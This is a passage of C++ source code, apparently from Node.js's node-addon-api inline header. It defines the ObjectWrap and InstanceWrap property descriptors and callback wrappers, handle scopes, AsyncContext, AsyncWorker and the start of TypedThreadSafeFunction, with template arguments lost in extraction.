Napi::details::AttachData( env, value, static_cast(prop->data)); NAPI_THROW_IF_FAILED_VOID(env, status); } else if (prop->method == T::InstanceMethodCallbackWrapper) { status = Napi::details::AttachData( env, value, static_cast(prop->data)); NAPI_THROW_IF_FAILED_VOID(env, status); } else if (prop->getter == T::InstanceGetterCallbackWrapper || prop->setter == T::InstanceSetterCallbackWrapper) { status = Napi::details::AttachData( env, value, static_cast(prop->data)); NAPI_THROW_IF_FAILED_VOID(env, status); } } } template inline ClassPropertyDescriptor InstanceWrap::InstanceMethod( const char* utf8name, InstanceVoidMethodCallback method, napi_property_attributes attributes, void* data) { InstanceVoidMethodCallbackData* callbackData = new InstanceVoidMethodCallbackData({method, data}); napi_property_descriptor desc = napi_property_descriptor(); desc.utf8name = utf8name; desc.method = T::InstanceVoidMethodCallbackWrapper; desc.data = callbackData; desc.attributes = attributes; return desc; } template inline ClassPropertyDescriptor InstanceWrap::InstanceMethod( const char* utf8name, InstanceMethodCallback method, napi_property_attributes attributes, void* data) { InstanceMethodCallbackData* callbackData = new InstanceMethodCallbackData({method, data}); napi_property_descriptor desc = napi_property_descriptor(); desc.utf8name = utf8name; desc.method = T::InstanceMethodCallbackWrapper; desc.data = callbackData; desc.attributes = attributes; return desc; } template inline ClassPropertyDescriptor InstanceWrap::InstanceMethod( Symbol name, InstanceVoidMethodCallback method, napi_property_attributes attributes, void* data) { InstanceVoidMethodCallbackData* callbackData = new InstanceVoidMethodCallbackData({method, data}); napi_property_descriptor desc = napi_property_descriptor(); desc.name = name; desc.method = T::InstanceVoidMethodCallbackWrapper; desc.data = callbackData; desc.attributes = attributes; return desc; } template inline ClassPropertyDescriptor InstanceWrap::InstanceMethod( Symbol name, InstanceMethodCallback method, napi_property_attributes attributes, void* data) { InstanceMethodCallbackData* callbackData = new InstanceMethodCallbackData({method, data}); napi_property_descriptor desc = napi_property_descriptor(); desc.name = name; desc.method = T::InstanceMethodCallbackWrapper; desc.data = callbackData; desc.attributes = attributes; return desc; } template template ::InstanceVoidMethodCallback method> inline ClassPropertyDescriptor InstanceWrap::InstanceMethod( const char* utf8name, napi_property_attributes attributes, void* data) { napi_property_descriptor desc = napi_property_descriptor(); desc.utf8name = utf8name; desc.method = details::TemplatedInstanceVoidCallback; desc.data = data; desc.attributes = attributes; return desc; } template template ::InstanceMethodCallback method> inline ClassPropertyDescriptor InstanceWrap::InstanceMethod( const char* utf8name, napi_property_attributes attributes, void* data) { napi_property_descriptor desc = napi_property_descriptor(); desc.utf8name = utf8name; desc.method = details::TemplatedInstanceCallback; desc.data = data; desc.attributes = attributes; return desc; } template template ::InstanceVoidMethodCallback method> inline ClassPropertyDescriptor InstanceWrap::InstanceMethod( Symbol name, napi_property_attributes attributes, void* data) { napi_property_descriptor desc = napi_property_descriptor(); desc.name = name; desc.method = details::TemplatedInstanceVoidCallback; desc.data = data; desc.attributes = attributes; return desc; } template template ::InstanceMethodCallback method> inline ClassPropertyDescriptor InstanceWrap::InstanceMethod( Symbol name, napi_property_attributes attributes, void* data) { napi_property_descriptor desc = napi_property_descriptor(); desc.name = name; desc.method = details::TemplatedInstanceCallback; desc.data = data; desc.attributes = attributes; return desc; } template inline ClassPropertyDescriptor InstanceWrap::InstanceAccessor( const char* utf8name, InstanceGetterCallback getter, InstanceSetterCallback setter, napi_property_attributes attributes, void* data) { InstanceAccessorCallbackData* callbackData = new InstanceAccessorCallbackData({getter, setter, data}); napi_property_descriptor desc = napi_property_descriptor(); desc.utf8name = utf8name; desc.getter = getter != nullptr ? T::InstanceGetterCallbackWrapper : nullptr; desc.setter = setter != nullptr ? T::InstanceSetterCallbackWrapper : nullptr; desc.data = callbackData; desc.attributes = attributes; return desc; } template inline ClassPropertyDescriptor InstanceWrap::InstanceAccessor( Symbol name, InstanceGetterCallback getter, InstanceSetterCallback setter, napi_property_attributes attributes, void* data) { InstanceAccessorCallbackData* callbackData = new InstanceAccessorCallbackData({getter, setter, data}); napi_property_descriptor desc = napi_property_descriptor(); desc.name = name; desc.getter = getter != nullptr ? T::InstanceGetterCallbackWrapper : nullptr; desc.setter = setter != nullptr ? T::InstanceSetterCallbackWrapper : nullptr; desc.data = callbackData; desc.attributes = attributes; return desc; } template template ::InstanceGetterCallback getter, typename InstanceWrap::InstanceSetterCallback setter> inline ClassPropertyDescriptor InstanceWrap::InstanceAccessor( const char* utf8name, napi_property_attributes attributes, void* data) { napi_property_descriptor desc = napi_property_descriptor(); desc.utf8name = utf8name; desc.getter = details::TemplatedInstanceCallback; desc.setter = This::WrapSetter(This::SetterTag()); desc.data = data; desc.attributes = attributes; return desc; } template template ::InstanceGetterCallback getter, typename InstanceWrap::InstanceSetterCallback setter> inline ClassPropertyDescriptor InstanceWrap::InstanceAccessor( Symbol name, napi_property_attributes attributes, void* data) { napi_property_descriptor desc = napi_property_descriptor(); desc.name = name; desc.getter = details::TemplatedInstanceCallback; desc.setter = This::WrapSetter(This::SetterTag()); desc.data = data; desc.attributes = attributes; return desc; } template inline ClassPropertyDescriptor InstanceWrap::InstanceValue( const char* utf8name, Napi::Value value, napi_property_attributes attributes) { napi_property_descriptor desc = napi_property_descriptor(); desc.utf8name = utf8name; desc.value = value; desc.attributes = attributes; return desc; } template inline ClassPropertyDescriptor InstanceWrap::InstanceValue( Symbol name, Napi::Value value, napi_property_attributes attributes) { napi_property_descriptor desc = napi_property_descriptor(); desc.name = name; desc.value = value; desc.attributes = attributes; return desc; } template inline napi_value InstanceWrap::InstanceVoidMethodCallbackWrapper( napi_env env, napi_callback_info info) { return details::WrapCallback(env, [&] { CallbackInfo callbackInfo(env, info); InstanceVoidMethodCallbackData* callbackData = reinterpret_cast(callbackInfo.Data()); callbackInfo.SetData(callbackData->data); T* instance = T::Unwrap(callbackInfo.This().As()); auto cb = callbackData->callback; if (instance) (instance->*cb)(callbackInfo); return nullptr; }); } template inline napi_value InstanceWrap::InstanceMethodCallbackWrapper( napi_env env, napi_callback_info info) { return details::WrapCallback(env, [&] { CallbackInfo callbackInfo(env, info); InstanceMethodCallbackData* callbackData = reinterpret_cast(callbackInfo.Data()); callbackInfo.SetData(callbackData->data); T* instance = T::Unwrap(callbackInfo.This().As()); auto cb = callbackData->callback; return instance ? (instance->*cb)(callbackInfo) : Napi::Value(); }); } template inline napi_value InstanceWrap::InstanceGetterCallbackWrapper( napi_env env, napi_callback_info info) { return details::WrapCallback(env, [&] { CallbackInfo callbackInfo(env, info); InstanceAccessorCallbackData* callbackData = reinterpret_cast(callbackInfo.Data()); callbackInfo.SetData(callbackData->data); T* instance = T::Unwrap(callbackInfo.This().As()); auto cb = callbackData->getterCallback; return instance ? (instance->*cb)(callbackInfo) : Napi::Value(); }); } template inline napi_value InstanceWrap::InstanceSetterCallbackWrapper( napi_env env, napi_callback_info info) { return details::WrapCallback(env, [&] { CallbackInfo callbackInfo(env, info); InstanceAccessorCallbackData* callbackData = reinterpret_cast(callbackInfo.Data()); callbackInfo.SetData(callbackData->data); T* instance = T::Unwrap(callbackInfo.This().As()); auto cb = callbackData->setterCallback; if (instance) (instance->*cb)(callbackInfo, callbackInfo[0]); return nullptr; }); } template template ::InstanceSetterCallback method> inline napi_value InstanceWrap::WrappedMethod( napi_env env, napi_callback_info info) NAPI_NOEXCEPT { return details::WrapCallback(env, [&] { const CallbackInfo cbInfo(env, info); T* instance = T::Unwrap(cbInfo.This().As()); if (instance) (instance->*method)(cbInfo, cbInfo[0]); return nullptr; }); } //////////////////////////////////////////////////////////////////////////////// // ObjectWrap class //////////////////////////////////////////////////////////////////////////////// template inline NAPI_NO_SANITIZE_VPTR ObjectWrap::ObjectWrap( const Napi::CallbackInfo& callbackInfo) { napi_env env = callbackInfo.Env(); napi_value wrapper = callbackInfo.This(); napi_status status; napi_ref ref; T* instance = static_cast(this); status = napi_wrap(env, wrapper, instance, FinalizeCallback, nullptr, &ref); NAPI_THROW_IF_FAILED_VOID(env, status); Reference* instanceRef = instance; *instanceRef = Reference(env, ref); } template inline NAPI_NO_SANITIZE_VPTR ObjectWrap::~ObjectWrap() { // If the JS object still exists at this point, remove the finalizer added // through `napi_wrap()`. if (!IsEmpty() && !_finalized) { Object object = Value(); // It is not valid to call `napi_remove_wrap()` with an empty `object`. // This happens e.g. during garbage collection. if (!object.IsEmpty() && _construction_failed) { napi_remove_wrap(Env(), object, nullptr); } } } // with RTTI turned on, modern compilers check to see if virtual function // pointers are stripped of RTTI by void casts. this is intrinsic to how Unwrap // works, so we inject a compiler pragma to turn off that check just for the // affected methods. this compiler check is on by default in Android NDK 29. template inline NAPI_NO_SANITIZE_VPTR T* ObjectWrap::Unwrap(Object wrapper) { void* unwrapped; napi_status status = napi_unwrap(wrapper.Env(), wrapper, &unwrapped); NAPI_THROW_IF_FAILED(wrapper.Env(), status, nullptr); return static_cast(unwrapped); } template inline Function ObjectWrap::DefineClass( Napi::Env env, const char* utf8name, const size_t props_count, const napi_property_descriptor* descriptors, void* data) { napi_status status; std::vector props(props_count); // We copy the descriptors to a local array because before defining the class // we must replace static method property descriptors with value property // descriptors such that the value is a function-valued `napi_value` created // with `CreateFunction()`. // // This replacement could be made for instance methods as well, but V8 aborts // if we do that, because it expects methods defined on the prototype template // to have `FunctionTemplate`s. for (size_t index = 0; index < props_count; index++) { props[index] = descriptors[index]; napi_property_descriptor* prop = &props[index]; if (prop->method == T::StaticMethodCallbackWrapper) { status = CreateFunction(env, utf8name, prop->method, static_cast(prop->data), &(prop->value)); NAPI_THROW_IF_FAILED(env, status, Function()); prop->method = nullptr; prop->data = nullptr; } else if (prop->method == T::StaticVoidMethodCallbackWrapper) { status = CreateFunction(env, utf8name, prop->method, static_cast(prop->data), &(prop->value)); NAPI_THROW_IF_FAILED(env, status, Function()); prop->method = nullptr; prop->data = nullptr; } } napi_value value; status = napi_define_class(env, utf8name, NAPI_AUTO_LENGTH, T::ConstructorCallbackWrapper, data, props_count, props.data(), &value); NAPI_THROW_IF_FAILED(env, status, Function()); // After defining the class we iterate once more over the property descriptors // and attach the data associated with accessors and instance methods to the // newly created JavaScript class. for (size_t idx = 0; idx < props_count; idx++) { const napi_property_descriptor* prop = &props[idx]; if (prop->getter == T::StaticGetterCallbackWrapper || prop->setter == T::StaticSetterCallbackWrapper) { status = Napi::details::AttachData( env, value, static_cast(prop->data)); NAPI_THROW_IF_FAILED(env, status, Function()); } else { // InstanceWrap::AttachPropData is responsible for attaching the data // of instance methods and accessors. T::AttachPropData(env, value, prop); } } return Function(env, value); } template inline Function ObjectWrap::DefineClass( Napi::Env env, const char* utf8name, const std::initializer_list>& properties, void* data) { return DefineClass( env, utf8name, properties.size(), reinterpret_cast(properties.begin()), data); } template inline Function ObjectWrap::DefineClass( Napi::Env env, const char* utf8name, const std::vector>& properties, void* data) { return DefineClass( env, utf8name, properties.size(), reinterpret_cast(properties.data()), data); } template inline ClassPropertyDescriptor ObjectWrap::StaticMethod( const char* utf8name, StaticVoidMethodCallback method, napi_property_attributes attributes, void* data) { StaticVoidMethodCallbackData* callbackData = new StaticVoidMethodCallbackData({method, data}); napi_property_descriptor desc = napi_property_descriptor(); desc.utf8name = utf8name; desc.method = T::StaticVoidMethodCallbackWrapper; desc.data = callbackData; desc.attributes = static_cast(attributes | napi_static); return desc; } template inline ClassPropertyDescriptor ObjectWrap::StaticMethod( const char* utf8name, StaticMethodCallback method, napi_property_attributes attributes, void* data) { StaticMethodCallbackData* callbackData = new StaticMethodCallbackData({method, data}); napi_property_descriptor desc = napi_property_descriptor(); desc.utf8name = utf8name; desc.method = T::StaticMethodCallbackWrapper; desc.data = callbackData; desc.attributes = static_cast(attributes | napi_static); return desc; } template inline ClassPropertyDescriptor ObjectWrap::StaticMethod( Symbol name, StaticVoidMethodCallback method, napi_property_attributes attributes, void* data) { StaticVoidMethodCallbackData* callbackData = new StaticVoidMethodCallbackData({method, data}); napi_property_descriptor desc = napi_property_descriptor(); desc.name = name; desc.method = T::StaticVoidMethodCallbackWrapper; desc.data = callbackData; desc.attributes = static_cast(attributes | napi_static); return desc; } template inline ClassPropertyDescriptor ObjectWrap::StaticMethod( Symbol name, StaticMethodCallback method, napi_property_attributes attributes, void* data) { StaticMethodCallbackData* callbackData = new StaticMethodCallbackData({method, data}); napi_property_descriptor desc = napi_property_descriptor(); desc.name = name; desc.method = T::StaticMethodCallbackWrapper; desc.data = callbackData; desc.attributes = static_cast(attributes | napi_static); return desc; } template template ::StaticVoidMethodCallback method> inline ClassPropertyDescriptor ObjectWrap::StaticMethod( const char* utf8name, napi_property_attributes attributes, void* data) { napi_property_descriptor desc = napi_property_descriptor(); desc.utf8name = utf8name; desc.method = details::TemplatedVoidCallback; desc.data = data; desc.attributes = static_cast(attributes | napi_static); return desc; } template template ::StaticVoidMethodCallback method> inline ClassPropertyDescriptor ObjectWrap::StaticMethod( Symbol name, napi_property_attributes attributes, void* data) { napi_property_descriptor desc = napi_property_descriptor(); desc.name = name; desc.method = details::TemplatedVoidCallback; desc.data = data; desc.attributes = static_cast(attributes | napi_static); return desc; } template template ::StaticMethodCallback method> inline ClassPropertyDescriptor ObjectWrap::StaticMethod( const char* utf8name, napi_property_attributes attributes, void* data) { napi_property_descriptor desc = napi_property_descriptor(); desc.utf8name = utf8name; desc.method = details::TemplatedCallback; desc.data = data; desc.attributes = static_cast(attributes | napi_static); return desc; } template template ::StaticMethodCallback method> inline ClassPropertyDescriptor ObjectWrap::StaticMethod( Symbol name, napi_property_attributes attributes, void* data) { napi_property_descriptor desc = napi_property_descriptor(); desc.name = name; desc.method = details::TemplatedCallback; desc.data = data; desc.attributes = static_cast(attributes | napi_static); return desc; } template inline ClassPropertyDescriptor ObjectWrap::StaticAccessor( const char* utf8name, StaticGetterCallback getter, StaticSetterCallback setter, napi_property_attributes attributes, void* data) { StaticAccessorCallbackData* callbackData = new StaticAccessorCallbackData({getter, setter, data}); napi_property_descriptor desc = napi_property_descriptor(); desc.utf8name = utf8name; desc.getter = getter != nullptr ? T::StaticGetterCallbackWrapper : nullptr; desc.setter = setter != nullptr ? T::StaticSetterCallbackWrapper : nullptr; desc.data = callbackData; desc.attributes = static_cast(attributes | napi_static); return desc; } template inline ClassPropertyDescriptor ObjectWrap::StaticAccessor( Symbol name, StaticGetterCallback getter, StaticSetterCallback setter, napi_property_attributes attributes, void* data) { StaticAccessorCallbackData* callbackData = new StaticAccessorCallbackData({getter, setter, data}); napi_property_descriptor desc = napi_property_descriptor(); desc.name = name; desc.getter = getter != nullptr ? T::StaticGetterCallbackWrapper : nullptr; desc.setter = setter != nullptr ? T::StaticSetterCallbackWrapper : nullptr; desc.data = callbackData; desc.attributes = static_cast(attributes | napi_static); return desc; } template template ::StaticGetterCallback getter, typename ObjectWrap::StaticSetterCallback setter> inline ClassPropertyDescriptor ObjectWrap::StaticAccessor( const char* utf8name, napi_property_attributes attributes, void* data) { napi_property_descriptor desc = napi_property_descriptor(); desc.utf8name = utf8name; desc.getter = details::TemplatedCallback; desc.setter = This::WrapStaticSetter(This::StaticSetterTag()); desc.data = data; desc.attributes = static_cast(attributes | napi_static); return desc; } template template ::StaticGetterCallback getter, typename ObjectWrap::StaticSetterCallback setter> inline ClassPropertyDescriptor ObjectWrap::StaticAccessor( Symbol name, napi_property_attributes attributes, void* data) { napi_property_descriptor desc = napi_property_descriptor(); desc.name = name; desc.getter = details::TemplatedCallback; desc.setter = This::WrapStaticSetter(This::StaticSetterTag()); desc.data = data; desc.attributes = static_cast(attributes | napi_static); return desc; } template inline ClassPropertyDescriptor ObjectWrap::StaticValue( const char* utf8name, Napi::Value value, napi_property_attributes attributes) { napi_property_descriptor desc = napi_property_descriptor(); desc.utf8name = utf8name; desc.value = value; desc.attributes = static_cast(attributes | napi_static); return desc; } template inline ClassPropertyDescriptor ObjectWrap::StaticValue( Symbol name, Napi::Value value, napi_property_attributes attributes) { napi_property_descriptor desc = napi_property_descriptor(); desc.name = name; desc.value = value; desc.attributes = static_cast(attributes | napi_static); return desc; } template inline Value ObjectWrap::OnCalledAsFunction( const Napi::CallbackInfo& callbackInfo) { NAPI_THROW( TypeError::New(callbackInfo.Env(), "Class constructors cannot be invoked without 'new'"), Napi::Value()); } template inline void ObjectWrap::Finalize(Napi::Env /*env*/) {} template inline void ObjectWrap::Finalize(BasicEnv /*env*/) {} template inline napi_value ObjectWrap::ConstructorCallbackWrapper( napi_env env, napi_callback_info info) { napi_value new_target; napi_status status = napi_get_new_target(env, info, &new_target); if (status != napi_ok) return nullptr; bool isConstructCall = (new_target != nullptr); if (!isConstructCall) { return details::WrapCallback( env, [&] { return T::OnCalledAsFunction(CallbackInfo(env, info)); }); } napi_value wrapper = details::WrapCallback(env, [&] { CallbackInfo callbackInfo(env, info); T* instance = new T(callbackInfo); #ifdef NODE_ADDON_API_CPP_EXCEPTIONS instance->_construction_failed = false; #else if (callbackInfo.Env().IsExceptionPending()) { // We need to clear the exception so that removing the wrap might work. Error e = callbackInfo.Env().GetAndClearPendingException(); delete instance; e.ThrowAsJavaScriptException(); } else { instance->_construction_failed = false; } #endif // NODE_ADDON_API_CPP_EXCEPTIONS return callbackInfo.This(); }); return wrapper; } template inline napi_value ObjectWrap::StaticVoidMethodCallbackWrapper( napi_env env, napi_callback_info info) { return details::WrapCallback(env, [&] { CallbackInfo callbackInfo(env, info); StaticVoidMethodCallbackData* callbackData = reinterpret_cast(callbackInfo.Data()); callbackInfo.SetData(callbackData->data); callbackData->callback(callbackInfo); return nullptr; }); } template inline napi_value ObjectWrap::StaticMethodCallbackWrapper( napi_env env, napi_callback_info info) { return details::WrapCallback(env, [&] { CallbackInfo callbackInfo(env, info); StaticMethodCallbackData* callbackData = reinterpret_cast(callbackInfo.Data()); callbackInfo.SetData(callbackData->data); return callbackData->callback(callbackInfo); }); } template inline napi_value ObjectWrap::StaticGetterCallbackWrapper( napi_env env, napi_callback_info info) { return details::WrapCallback(env, [&] { CallbackInfo callbackInfo(env, info); StaticAccessorCallbackData* callbackData = reinterpret_cast(callbackInfo.Data()); callbackInfo.SetData(callbackData->data); return callbackData->getterCallback(callbackInfo); }); } template inline napi_value ObjectWrap::StaticSetterCallbackWrapper( napi_env env, napi_callback_info info) { return details::WrapCallback(env, [&] { CallbackInfo callbackInfo(env, info); StaticAccessorCallbackData* callbackData = reinterpret_cast(callbackInfo.Data()); callbackInfo.SetData(callbackData->data); callbackData->setterCallback(callbackInfo, callbackInfo[0]); return nullptr; }); } template inline void ObjectWrap::FinalizeCallback(node_addon_api_basic_env env, void* data, void* /*hint*/) { // If the child class does not override _any_ Finalize() method, `env` will be // unused because of the constexpr guards. Explicitly reference it here to // bypass compiler warnings. (void)env; T* instance = static_cast(data); // Prevent ~ObjectWrap from calling napi_remove_wrap. // The instance->_ref should be deleted with napi_delete_reference in // ~Reference. instance->_finalized = true; // If class overrides the basic finalizer, execute it. if constexpr (details::HasBasicFinalizer::value) { #ifndef NODE_API_EXPERIMENTAL_HAS_POST_FINALIZER HandleScope scope(env); #endif instance->Finalize(Napi::BasicEnv(env)); } // If class overrides the (extended) finalizer, either schedule it or // execute it immediately (depending on experimental features enabled). if constexpr (details::HasExtendedFinalizer::value) { #ifdef NODE_API_EXPERIMENTAL_HAS_POST_FINALIZER // In experimental, attach via node_api_post_finalizer. // `PostFinalizeCallback` is responsible for deleting the `T* instance`, // after calling the user-provided finalizer. napi_status status = node_api_post_finalizer(env, PostFinalizeCallback, data, nullptr); NAPI_FATAL_IF_FAILED(status, "ObjectWrap::FinalizeCallback", "node_api_post_finalizer failed"); #else // In non-experimental, this `FinalizeCallback` already executes from a // non-basic environment. Execute the override directly. // `PostFinalizeCallback` is responsible for deleting the `T* instance`, // after calling the user-provided finalizer. HandleScope scope(env); PostFinalizeCallback(env, data, static_cast(nullptr)); #endif } // If the instance does _not_ override the (extended) finalizer, delete the // `T* instance` immediately. else { delete instance; } } template inline void ObjectWrap::PostFinalizeCallback(napi_env env, void* data, void* /*hint*/) { T* instance = static_cast(data); instance->Finalize(Napi::Env(env)); delete instance; } template template ::StaticSetterCallback method> inline napi_value ObjectWrap::WrappedMethod( napi_env env, napi_callback_info info) NAPI_NOEXCEPT { return details::WrapCallback(env, [&] { const CallbackInfo cbInfo(env, info); // MSVC requires to copy 'method' function pointer to a local variable // before invoking it. auto m = method; m(cbInfo, cbInfo[0]); return nullptr; }); } //////////////////////////////////////////////////////////////////////////////// // HandleScope class //////////////////////////////////////////////////////////////////////////////// inline HandleScope::HandleScope(napi_env env, napi_handle_scope scope) : _env(env), _scope(scope) {} inline HandleScope::HandleScope(Napi::Env env) : _env(env) { napi_status status = napi_open_handle_scope(_env, &_scope); NAPI_THROW_IF_FAILED_VOID(_env, status); } inline HandleScope::~HandleScope() { napi_status status = napi_close_handle_scope(_env, _scope); NAPI_FATAL_IF_FAILED( status, "HandleScope::~HandleScope", "napi_close_handle_scope"); } inline HandleScope::operator napi_handle_scope() const { return _scope; } inline Napi::Env HandleScope::Env() const { return Napi::Env(_env); } //////////////////////////////////////////////////////////////////////////////// // EscapableHandleScope class //////////////////////////////////////////////////////////////////////////////// inline EscapableHandleScope::EscapableHandleScope( napi_env env, napi_escapable_handle_scope scope) : _env(env), _scope(scope) {} inline EscapableHandleScope::EscapableHandleScope(Napi::Env env) : _env(env) { napi_status status = napi_open_escapable_handle_scope(_env, &_scope); NAPI_THROW_IF_FAILED_VOID(_env, status); } inline EscapableHandleScope::~EscapableHandleScope() { napi_status status = napi_close_escapable_handle_scope(_env, _scope); NAPI_FATAL_IF_FAILED(status, "EscapableHandleScope::~EscapableHandleScope", "napi_close_escapable_handle_scope"); } inline EscapableHandleScope::operator napi_escapable_handle_scope() const { return _scope; } inline Napi::Env EscapableHandleScope::Env() const { return Napi::Env(_env); } inline Value EscapableHandleScope::Escape(napi_value escapee) { napi_value result; napi_status status = napi_escape_handle(_env, _scope, escapee, &result); NAPI_THROW_IF_FAILED(_env, status, Value()); return Value(_env, result); } #if (NAPI_VERSION > 2) //////////////////////////////////////////////////////////////////////////////// // CallbackScope class //////////////////////////////////////////////////////////////////////////////// inline CallbackScope::CallbackScope(napi_env env, napi_callback_scope scope) : _env(env), _scope(scope) {} inline CallbackScope::CallbackScope(napi_env env, napi_async_context context) : _env(env) { napi_status status = napi_open_callback_scope(_env, Object::New(env), context, &_scope); NAPI_THROW_IF_FAILED_VOID(_env, status); } inline CallbackScope::~CallbackScope() { napi_status status = napi_close_callback_scope(_env, _scope); NAPI_FATAL_IF_FAILED( status, "CallbackScope::~CallbackScope", "napi_close_callback_scope"); } inline CallbackScope::operator napi_callback_scope() const { return _scope; } inline Napi::Env CallbackScope::Env() const { return Napi::Env(_env); } #endif //////////////////////////////////////////////////////////////////////////////// // AsyncContext class //////////////////////////////////////////////////////////////////////////////// inline AsyncContext::AsyncContext(napi_env env, const char* resource_name) : AsyncContext(env, resource_name, Object::New(env)) {} inline AsyncContext::AsyncContext(napi_env env, const char* resource_name, const Object& resource) : _env(env), _context(nullptr) { napi_value resource_id; napi_status status = napi_create_string_utf8( _env, resource_name, NAPI_AUTO_LENGTH, &resource_id); NAPI_THROW_IF_FAILED_VOID(_env, status); status = napi_async_init(_env, resource, resource_id, &_context); NAPI_THROW_IF_FAILED_VOID(_env, status); } inline AsyncContext::~AsyncContext() { if (_context != nullptr) { napi_async_destroy(_env, _context); _context = nullptr; } } inline AsyncContext::AsyncContext(AsyncContext&& other) { _env = other._env; other._env = nullptr; _context = other._context; other._context = nullptr; } inline AsyncContext& AsyncContext::operator=(AsyncContext&& other) { _env = other._env; other._env = nullptr; _context = other._context; other._context = nullptr; return *this; } inline AsyncContext::operator napi_async_context() const { return _context; } inline Napi::Env AsyncContext::Env() const { return Napi::Env(_env); } //////////////////////////////////////////////////////////////////////////////// // AsyncWorker class //////////////////////////////////////////////////////////////////////////////// #if NAPI_HAS_THREADS inline AsyncWorker::AsyncWorker(const Function& callback) : AsyncWorker(callback, "generic") {} inline AsyncWorker::AsyncWorker(const Function& callback, const char* resource_name) : AsyncWorker(callback, resource_name, Object::New(callback.Env())) {} inline AsyncWorker::AsyncWorker(const Function& callback, const char* resource_name, const Object& resource) : AsyncWorker( Object::New(callback.Env()), callback, resource_name, resource) {} inline AsyncWorker::AsyncWorker(const Object& receiver, const Function& callback) : AsyncWorker(receiver, callback, "generic") {} inline AsyncWorker::AsyncWorker(const Object& receiver, const Function& callback, const char* resource_name) : AsyncWorker( receiver, callback, resource_name, Object::New(callback.Env())) {} inline AsyncWorker::AsyncWorker(const Object& receiver, const Function& callback, const char* resource_name, const Object& resource) : _env(callback.Env()), _receiver(Napi::Persistent(receiver)), _callback(Napi::Persistent(callback)), _suppress_destruct(false) { napi_value resource_id; napi_status status = napi_create_string_latin1( _env, resource_name, NAPI_AUTO_LENGTH, &resource_id); NAPI_THROW_IF_FAILED_VOID(_env, status); status = napi_create_async_work(_env, resource, resource_id, OnAsyncWorkExecute, OnAsyncWorkComplete, this, &_work); NAPI_THROW_IF_FAILED_VOID(_env, status); } inline AsyncWorker::AsyncWorker(Napi::Env env) : AsyncWorker(env, "generic") {} inline AsyncWorker::AsyncWorker(Napi::Env env, const char* resource_name) : AsyncWorker(env, resource_name, Object::New(env)) {} inline AsyncWorker::AsyncWorker(Napi::Env env, const char* resource_name, const Object& resource) : _env(env), _receiver(), _callback(), _suppress_destruct(false) { napi_value resource_id; napi_status status = napi_create_string_latin1( _env, resource_name, NAPI_AUTO_LENGTH, &resource_id); NAPI_THROW_IF_FAILED_VOID(_env, status); status = napi_create_async_work(_env, resource, resource_id, OnAsyncWorkExecute, OnAsyncWorkComplete, this, &_work); NAPI_THROW_IF_FAILED_VOID(_env, status); } inline AsyncWorker::~AsyncWorker() { if (_work != nullptr) { napi_delete_async_work(_env, _work); _work = nullptr; } } inline void AsyncWorker::Destroy() { delete this; } inline AsyncWorker::operator napi_async_work() const { return _work; } inline Napi::Env AsyncWorker::Env() const { return Napi::Env(_env); } inline void AsyncWorker::Queue() { napi_status status = napi_queue_async_work(_env, _work); NAPI_THROW_IF_FAILED_VOID(_env, status); } inline void AsyncWorker::Cancel() { napi_status status = napi_cancel_async_work(_env, _work); NAPI_THROW_IF_FAILED_VOID(_env, status); } inline ObjectReference& AsyncWorker::Receiver() { return _receiver; } inline FunctionReference& AsyncWorker::Callback() { return _callback; } inline void AsyncWorker::SuppressDestruct() { _suppress_destruct = true; } inline void AsyncWorker::OnOK() { if (!_callback.IsEmpty()) { _callback.Call(_receiver.Value(), GetResult(_callback.Env())); } } inline void AsyncWorker::OnError(const Error& e) { if (!_callback.IsEmpty()) { _callback.Call(_receiver.Value(), std::initializer_list{e.Value()}); } } inline void AsyncWorker::SetError(const std::string& error) { _error = error; } inline std::vector AsyncWorker::GetResult(Napi::Env /*env*/) { return {}; } // The OnAsyncWorkExecute method receives an napi_env argument. However, do NOT // use it within this method, as it does not run on the JavaScript thread and // must not run any method that would cause JavaScript to run. In practice, // this means that almost any use of napi_env will be incorrect. inline void AsyncWorker::OnAsyncWorkExecute(napi_env env, void* asyncworker) { AsyncWorker* self = static_cast(asyncworker); self->OnExecute(env); } // The OnExecute method receives an napi_env argument. However, do NOT // use it within this method, as it does not run on the JavaScript thread and // must not run any method that would cause JavaScript to run. In practice, // this means that almost any use of napi_env will be incorrect. inline void AsyncWorker::OnExecute(Napi::Env /*DO_NOT_USE*/) { #ifdef NODE_ADDON_API_CPP_EXCEPTIONS try { Execute(); } catch (const std::exception& e) { SetError(e.what()); } #else // NODE_ADDON_API_CPP_EXCEPTIONS Execute(); #endif // NODE_ADDON_API_CPP_EXCEPTIONS } inline void AsyncWorker::OnAsyncWorkComplete(napi_env env, napi_status status, void* asyncworker) { AsyncWorker* self = static_cast(asyncworker); self->OnWorkComplete(env, status); } inline void AsyncWorker::OnWorkComplete(Napi::Env env, napi_status status) { if (status != napi_cancelled) { HandleScope scope(_env); details::WrapCallback(env, [&] { if (_error.size() == 0) { OnOK(); } else { OnError(Error::New(_env, _error)); } return nullptr; }); } if (!_suppress_destruct) { Destroy(); } } #endif // NAPI_HAS_THREADS #if (NAPI_VERSION > 3 && NAPI_HAS_THREADS) //////////////////////////////////////////////////////////////////////////////// // TypedThreadSafeFunction class //////////////////////////////////////////////////////////////////////////////// // Starting with NAPI 5, the JavaScript function `func` parameter of // `napi_create_threadsafe_function` is optional. #if NAPI_VERSION > 4 // static, with Callback [missing] Resource [missing] Finalizer [missing] template template inline TypedThreadSafeFunction TypedThreadSafeFunction::New( napi_env env, ResourceString resourceName, size_t maxQueueSize, size_t initialThreadCount, ContextType* context) { TypedThreadSafeFunction tsfn; napi_status status = napi_create_threadsafe_function(env, nullptr, nullptr, String::From(env, resourceName), maxQueueSize, initialThreadCount, nullptr, nullptr, context, CallJsInternal, &tsfn._tsfn); if (status != napi_ok) { NAPI_THROW_IF_FAILED( env, status, TypedThreadSafeFunction()); } return tsfn; } // static, with Callback [missing] Resource [passed] Finalizer [missing] template template inline TypedThreadSafeFunction TypedThreadSafeFunction::New( napi_env env, const Object& resource, ResourceString resourceName, size_t maxQueueSize, size_t initialThreadCount, ContextType* context) { TypedThreadSafeFunction tsfn; napi_status status = napi_create_threadsafe_function(env, nullptr, resource, String::From(env, resourceName), maxQueueSize, initialThreadCount, nullptr, nullptr, context, CallJsInternal, &tsfn._tsfn); if (status != napi_ok) { NAPI_THROW_IF_FAILED( env, status, TypedThreadSafeFunction()); } return tsfn; } // static, with Callback [missing] Resource [missing] Finalizer [passed] template template inline TypedThreadSafeFunction TypedThreadSafeFunction::New( napi_env env, ResourceString resourceName, size_t maxQueueSize, size_t initialThreadCount, ContextType* context, Finalizer finalizeCallback, FinalizerDataType* data) { TypedThreadSafeFunction tsfn; auto* finalizeData = new details:: ThreadSafeFinalize( {data, 